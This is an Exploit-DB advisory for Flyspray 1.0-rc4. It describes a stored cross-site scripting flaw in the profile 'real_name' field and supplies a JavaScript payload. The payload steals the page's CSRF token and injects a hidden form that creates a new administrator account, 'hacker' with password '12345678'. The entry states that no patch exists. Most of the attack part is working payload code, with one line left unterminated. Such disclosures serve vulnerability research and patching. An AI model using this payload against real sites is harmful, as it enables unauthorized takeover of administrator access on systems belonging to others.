Cross-Site Scripting / Cross-Site Request Forgery

EDB-ID: 41918
Author: Cyril Vallicari
Published: 2017-04-25
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

 # Date: 19/04/2017 
# Exploit Author: Cyril Vallicari / HTTPCS / ZIWIT
# Version: 1.0-rc4
# Tested on: Windows 7 x64 SP1 / Kali Linux

Description :

A vulnerability has been discovered in Flyspray , which can be
exploited by malicious people to conduct cross-site scripting attacks. Input
passed via the 'real_name' parameter to '/index.php?do=myprofile' is not
properly sanitised before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in
context of an affected site.

The script is executed on the parameter page AND on any page that allow the
user to put a comment.

This XSS vector allow to execute scripts to gather the CSRF token

and submit a form to create a new admin

Here's the script :

var tok = document.getElementsByName('csrftoken')[0].value;

var txt = '<form method="POST" id="hacked_form"
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="[email protected]"/>'
txt += '<input type="hidden" name="verify_email_address" value="
[email protected]"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'

var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);

This will create a new admin account, hacker:12345678

POC video : *

Patch : No patch yet

Related Posts